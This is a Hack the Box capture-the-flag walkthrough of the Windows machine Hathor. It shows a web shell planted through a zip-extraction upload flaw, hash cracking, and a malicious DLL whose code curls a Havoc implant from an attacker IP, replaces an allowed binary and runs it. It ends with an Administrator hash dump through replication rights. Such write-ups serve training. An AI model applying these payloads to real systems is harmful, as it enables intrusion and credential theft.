Hack the Box Walkthroughs: Hathor
Hello folks. Welcome back to another Hack the Box write-up. This time we're going over Hathor, an Insane difficulty box that had some really interesting, albeit frustrating, attack paths. The target Operating System is Windows, which I much prefer attacking to Linux nowadays! This was actually the first Insane machine that I managed to finish while it was active, rather than just following through with help from the mighty Ippsec and making notes. To put it into perspective, it took roughly 20 hours I would say of actual working time, spent over 4 days with 5 hours per day put into each. This was genuinely how long it took, despite obtaining hints here and there from forum or discord posts. It made me realise that I'm not quite ready for this level of box difficulty, nor do I currently have the time, but once I'd got halfway through I was desperate to finish it! The box revolves around first exploiting a misconfigured file upload, then identifying credentials in log files, before performing some DLL hijacking, and finally, abusing an account with replication rights to perform account replication and obtain the Administrator's NTLM hash.
Anyway, enough chatting. Let's get started with this ridiculously fun creation from Hack the Box - Hathor!
Enumeration
We'll start off with a Nmap scan. It may take some time to run so I've alreaaaaady run it... (I hear this in my sleep, thanks Ippsec)! Immediately we notice that ports 53, 88, and 389 are open, which is generally indicative of a Domain Controller. These ports provide DNS, Kerberos, and LDAP.
With knowledge of open ports, I'll perform a more aggressive scan to fingerprint services. Snipped for brevity.
Some interesting things to note here:
- A web server on port 80 is hosting a website called mojoPortal.
- The hostname is leaked so we can modify our
/etc/hosts
file. It'shathor.windcorp.htb
.
We'll handle the latter now.
Let's start by looking at the website.
IIS Server
Traversing to the webpage just shows that the website is under construction. There is a login button on the bottom right that takes us to /Secure/Login.aspx
. A quick Google shows that there are default credentials in place for mojoPortal.
Attempting to log in with these is successful and we now have access to the administrative portion of the website. The first thing to note is the File Manager area. This is often an interesting place to review for potential file upload exploits, and given the page is serving aspx
files, it may be possible to upload a web shell in certain circumstances. I'll start by just trying to upload a aspx
file and checking whether it's rejected.
cp /usr/share/webshells/aspx/cmdasp.aspx cmd.aspx
I'll gently play about with it in Burp, modifying the filename to cmdasp.txt
to get past the client-side checks. The general idea here is to see if the protections are applied only on the client-side, and not the server side. However, even after modifying a request that succeeded to try to send anything with .aspx
on the end, the upload fails. Thus, I determine there's likely a whitelist in place to check the file extension. Since mojoPortal is open source and written in C#/ASP.NET, let us have a quick peek in VSCode to see if we can find some sort of configuration that show what is allowed.
The request to upload a file is a POST to /fileservice/fileupload?t=72ce0725-ab1e-49d1-86fc-337d16a710bd
. The UID on the end changes every request. Initially, I focus on the Web.config
file and look for any sort of whitelist. There is an interesting one that stands out:
<add key="AllowedUploadFileExtensions" value=".gif|.jpg|.jpeg|.png|.svg|.flv|.swf|.wmv|.mp3|.mp4|.m4a|.m4v|.oga|.ogv|.webma|.webmv|.webm|.wav|.fla|.tif|.asf|.asx|.avi|.mov|.mpeg|.mpg|.zip|.pdf|.doc|.docx|.xls|.xlsx|.ppt|.pptx|.pps|.csv|.txt|.htm|.html|.xml|.xsl|.css" />
As a quick test, I try to upload a .asx
file and this gets accepted. I can then download it from the htmlfragments
folder that I uploaded it in.
If we right-click, we can download it. I wanted to next find out if there was an accessible directory to which uploaded files are stored, which would be vital if we were to be able to upload something malicious. Looking over the code, I just searched first for htmlfragments
. In the HtmlFragmentInclude.ascx.cs
file there is the following code:
if (WebConfigSettings.HtmlFragmentUseMediaFolder)
{
includePath = HttpContext.Current.Server.MapPath(WebUtils.GetApplicationRoot()
+ "/Data/Sites/" + siteSettings.SiteId.ToInvariantString() + "/media/htmlfragments");
}
I'll take a wild guess that the siteId
is going to be numerical and attempt to access my uploaded cmdasp.asx
file.
Excellent, we now have an idea of where files are stored. The final piece of the puzzle is getting a malicious aspx
file uploaded. Going back to the original list of allowed extensions, I noticed .zip
is allowed. This is interesting, as the site allows you to extract files. Therefore, my first idea was to upload a zip file with a aspx
shell in it and extract it, hoping the shell remained on the system. The ExtractItems
function in FileController.cs
doesn't seem to provide any validation aside from a ToCleanFileName
function.
The validation essentially just clears special characters, whilst the ToCleanFolderName
function removes .
as well, probably trying to prevent zip slip attacks. I'll try to upload the classic InsomniaShell aspx
webshell from Insomnia.
https://www.darknet.org.uk/content/files/InsomniaShell.zip
We'll zip up the shell and include a text file to see if they're all extracted correctly.
┌──(kali㉿kali)-[/opt/…/machines/hathor/writeup/InsomniaShell]
└─$ zip test.zip test.txt InsomniaShell.aspx
adding: test.txt (stored 0%)
adding: InsomniaShell.aspx (deflated 83%)
Then we upload test.zip
and try to extract it.
Now we'll extract it and hopefully see our aspx
shell...
Dammit. No aspx
file got extracted. Just our dummy .txt
file! Let's go back to the source code. The extract function had nothing related to deleting or removing files based on extensions, so what did I miss? Examining the ListAllFilesFolders
function, I notice something interesting. It loops over each file in the folder and runs some checks.
foreach (var file in files)
{
if ((type == "image") && !file.IsWebImageFile())
{ continue; }
if ((type == "media" || type == "audio" || type == "video") && !file.IsAllowedMediaFile())
{ continue; }
if ((type == "audio") && !file.IsAllowedFileType(WebConfigSettings.AudioFileExtensions))
{ continue; }
if ((type == "video") && !file.IsAllowedFileType(WebConfigSettings.VideoFileExtensions))
{ continue; }
if ((type == "file") && !file.IsAllowedFileType(allowedExtensions))
{ continue; }
file.ContentType = "file";
allowedFiles.Add(file);
return new { result = folders.Concat(allowedFiles) };
}
The code above essentially goes over the files and ascertains if it is in the allowed list of file types. When the page is loaded, the following if statement runs in the LoadSettings
function. This populates the allowedFiles
variable.
if (WebUser.IsAdminOrContentAdmin || SiteUtils.UserIsSiteEditor() || WebUser.IsInRoles(siteSettings.GeneralBrowseAndUploadRoles + siteSettings.GeneralBrowseRoles))
{
allowedExtensions = WebConfigSettings.AllowedUploadFileExtensions;
}
Right, I get it now. I think. So maybe our file was uploaded, but it's prohibited from being LISTED when we load the file manager list. There's an easy way to find out. We can view the test.txt
file at:
http://hathor.windcorp.htb/Data/Sites/1/media/htmlfragments/test/test.txt
And going to:
http://hathor.windcorp.htb/Data/Sites/1/media/htmlfragments/test/InsomniaShell.aspx
We get a web shell!
So, to recap:
- The zip file gets extracted and the file does successfully remain,
- The function to list files emits anything that doesn't have an allowed extension.
- The remediation here would be to add extra validation to the extraction function to perform the check on extensions there, rather than when the files are listed!
Let's move forward.
Note: Having read some other writeups, it seems that the intended path was to use the copy function and rename the request in burp. Damn. Overkill alert 🍒
Shell 1
We simply put our IP and port in, stand up a Netcat listener and then catch a shell.
In the root directory, there is a bADpasswords
folder. Within this, a bADpasswords.ps1
file. I'll copy it over to Kali and also download the official one on Github.
If we try to identify differences between the two files, something sticks out. In the one on the box, it appears that logging is enabled.
#IMPORTANT: If resetPwd is enabled, the users password will be changed to a random password.
#That password are logged in logfile, so remember to delete the logs.
$resetPwd = $false
$removeNoExpire = $false
$changePassLogon = $false
$log_filename = ".\Accessible\Logs\log_$domain_name-$current_timestamp.txt"
$csv_filename = ".\Accessible\CSVs\exported_$domain_name-$current_timestamp.csv"
$write_to_log_file = $true
$write_to_csv_file = $true
$write_hash_to_logs = $true
Browsing the logs in c:\Get-bADpasswords\Accessible\CSVs
reveals a password hash for BeatriceMill
.
Activity;Password Type;Account Type;Account Name;Account SID;Account password hash;Present in password list(s)
active;weak;regular;BeatriceMill;S-1-5-21-3783586571-2109290616-3725730865-5992;9cb01504ba0247ad5c6e08f7ccae7903;'leaked-passwords-v7'
Sticking it into Crackstation gives us credentials.
We now have seemingly useful credentials! BeatriceMill:!!!!ilovegood17. However, attempts to connect via WinRM and SMB fail - Presumedly because NTLM authentication is disabled. The next step, usually, would be to attempt to gain access to BeatriceMill by requesting a TGT over Kerberos (Using something like Impacket's getTGT.py). Interestingly, I came across an interesting aspx
web shell modification that another user on the box had used that lets you impersonate other users. I rewrote it slightly and will link it here. Essentially, we'll use the standard Win32API LogonUser
to obtain a handle for a token for a different user than the one running the service. Then when we call the CallbackShell
function, we'll spawn a process using a copy of the newly created token. That is a majorly simplified example, but uploading the new linked web shell (after changing IP and port) will callback as BeatriceMill instead of the Web user! We'll have to perform the same zip file upload attack to access it as previously discussed.
Shell 3
As BeatriceMill, when arriving on the target, the first thing we'll notice is that Applocker is in use. This prohibits us from executing executable files based on rules specified in the Applocker configuration.
Furthermore, we can now access the C:\Share
folder which contains two files and one additional folder:
- AutoIt3_x64.exe
- Bginfo64.exe
C:\Share\Scripts
I immediately notice that within the C:\Share\Scripts
folder, there is a 7-zip64.dll
file. This file is modifiable by the BUILTIN\Users
group.
This, therefore, presents an opportunity to perform a DLL hijacking attack. In my original run-through, I used a custom Process Hollower executable from the OSEP course as my payload. However, with the recent release of Havoc, let's give that a try. First, we'll need to create a malicious DLL. What I initially want to know is the following:
- Is there a script auto-executing a binary that requires
7-zip64.dll
, thus it will be regularly triggered? - Who is executing that script? This is the context we'd assume the identity of after.
I'll use the following DLL to ascertain this information. It simply will create a text file with the username that ran it.
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("echo zzzz > C:\\Windows\\Temp\\%USERNAME%.txt");
ExitProcess(0);
}
return TRUE;
}
After compiling, we'll transfer it to the target and replace the 7-zip64.dll
with it.
curl 10.10.14.8/test.dll -o C:\Windows\Tasks\test.dll
copy C:\Windows\Tasks\test.dll C:\Share\scripts\7-zip64.dll /Y
del c:\windows\tasks\test.dll
A few minutes later, we can see the following from GinaWild
in the C:\Windows\Temp
directory.
Since we're up against AppLocker, we'll need to use a malicious binary that is allowed to be executed. This means we cannot just transfer a demon and have it run. Looking at the Applocker Policy, there's an interesting allowance.
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
Therefore, our workflow will be to replace Bginfo64.exe
with a malicious demon and then wait for the DLL hi-jack to commence, hopefully sending back a shell to our team server as GinaWild
. We need to check that there are sufficient permissions for Gina to replace the Bginfo64.exe
file, as Beatrice does not have the required level of authorization.
Here can see that Gina is part of the ITDep
group, who have Read, Execute, and Write Owner permissions over the file. So the attack should be able to commence! Let's spin up Havoc and create a demon.
sudo ./teamserver server --profile ./profiles/havoc.yaotl
./Havoc
Remember to set up your havoc profile with your Hack the Box IP and the listening port you want! We'll then go to Attack -> Payload -> Generate and save it locally as demon.exe
. Then, we'll create a new malicious DLL. This will take ownership of the C:\Share\Bginfo64.exe
file, grant full permissions to it, and then copy the demon into its place. Finally, we'll execute it.
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("takeown /f C:\\Share\\Bginfo64.exe && icacls C:\\Share\\Bginfo64.exe /grant Everyone:F /T /C");
system("curl 10.10.14.8/demon.exe -o C:\\Windows\\Tasks\\demon.exe && copy C:\\Windows\\Tasks\\demon.exe C:\\Share\\Bginfo64.exe /Y");
system("C:\\Share\\Bginfo64.exe");
ExitProcess(0);
}
return TRUE;
}
We'll compile it and then send it over to the target.
x86_64-w64-mingw32-gcc test.c -shared -o test.dll
curl 10.10.14.8/test.dll -o C:\Windows\Tasks\test.dll
copy C:\Windows\Tasks\test.dll C:\Share\scripts\7-zip64.dll /Y
del c:\windows\tasks\test.dll
After a few minutes, we land a (few) demons!
We can now get user.txt
.
Shell 4
With our new access, I start the standard enumeration again. In the $Recycle.Bin
folder, I notice a .pfx
file.
A .pfx
file is a Personal Exchange Format file. It is used to blend public and private keys into one file. John the Ripper has a module for attempting to crack passwords from this filetype. I'll download it using my demon and then run it through pfx2john
and try to crack it.
We'll now add the pfx
to our certificate store.
shell copy c:\\$Recycle.Bin\\S-1-5-21-3783586571-2109290616-3725730865-2663\\$RLYS3KF.pfx mycert.pfx
powershell $Secure_String_Pwd = ConvertTo-SecureString "abceasyas123" -AsPlainText -Force; Import-PfxCertificate -FilePath "mycert.pfx" -CertStoreLocation Cert:\CurrentUser\My -Password $Secure_String_Pwd
But what's all this for? Well, thinking back to the start of the box, we know there was a script that essentially runs and checks the domain for weak passwords (bADPasswords.ps1). Consider for a moment, how is this possible? The user running this script needs to be able to access the NTDS.dit
to view the passwords of the users in order for it to succeed. If we dive into the script, we'll notice that it uses Get-ADReplAccount
to perform domain replication. There is a user on the box called bpassrunner
, probably indicating that it's this user that is performing the task. If we try to run the script as Gina, we see there is an error about not having a valid certificate.
However, if we then use the certificate we obtained to sign the PowerShell file, it can be run. It's also modifiable by the ITDep
team. So I'll echo C:\Share\BgInfo64.exe
into the Get-bADpasswords.ps1
file, so the next time it gets run, it'll trigger a demon as the executing user. Then, if we run the run.vbs
file, it'll create an event which gets added to a list of batch jobs to be run by the relevant user.
So we'll pull it all together into one big PowerShell command, as I'm not sure how Havoc works in terms of starting a new PowerShell process and persisting, but I assume it's not going to be keeping everything from previous between commands. Remember, we'll overwrite Get-bADpasswords.ps1
with C:\Share\BgInfo64.exe
which is our demon. We'll add the certificate to our store with the password we cracked, then sign the Get-bADpasswords.ps1
script before executing the run.vbs
script, which should create an event to be executed by the bpassrunner
account.
powershell $Secure_String_Pwd = ConvertTo-SecureString "abceasyas123" -AsPlainText -Force; Import-PfxCertificate -FilePath "c:\Windows\temp\mycert.pfx" -CertStoreLocation Cert:\CurrentUser\My -Password $Secure_String_Pwd; $cert = @(Get-ChildItem cert:\CurrentUser\My -codesigning)[0] ;Set-AuthenticodeSignature Get-bADpasswords.ps1 $cert; cscript run.vbs
After a few seconds, it successfully sends back a shell as bpassrunner
!
Shell 5
Now we have access to an account that has Replication Rights, we can just mimic some of the functionality from the Get-bADpasswords.ps1
file to get the administrator's hash. Within the code, we can see that it runs the Get-ADReplAccount
cmdlet.
Get-ADReplAccount -SamAccountName "Administrator" -Server windcorp.htb
Note: I had issues running this in the demon, for whatever reason! So if it's not working, consider switching over to a vanilla Netcat shell and starting a proper PowerShell session!
Getting root.txt!
This will output the NTLM hash of the Administrator account. It's listed under the NTHash
header, along with all their previous passwords! From there, we'll use the hash in combination with Impacket's getTGT
to obtain a valid TGT for the target as the Administrator. We'll then set that to our local KRB5CCNAME
variable and use it with Impacket's wmi-exec
to get a shell, and the root flag!
Concluding Thoughts
Many thanks for reading this write-up of Hathor from Hack the Box! If anything did not make sense, or it was poorly explained, I highly recommend watching Ippsec or reading 0xdf's blog, as they're far smarter than me and will be able to make it much clearer I'm sure! You can also contact me on Discord at heartburn#7998 or on my Linkedin!
I've recently started as an Offensive Security Consultant at a large consultancy, so my posts will be continuing to trickle in when I get time. I'd like to blog more, but I'm struggling to balance everything in life at the moment and trying to avoid burnout! So, until next time folks!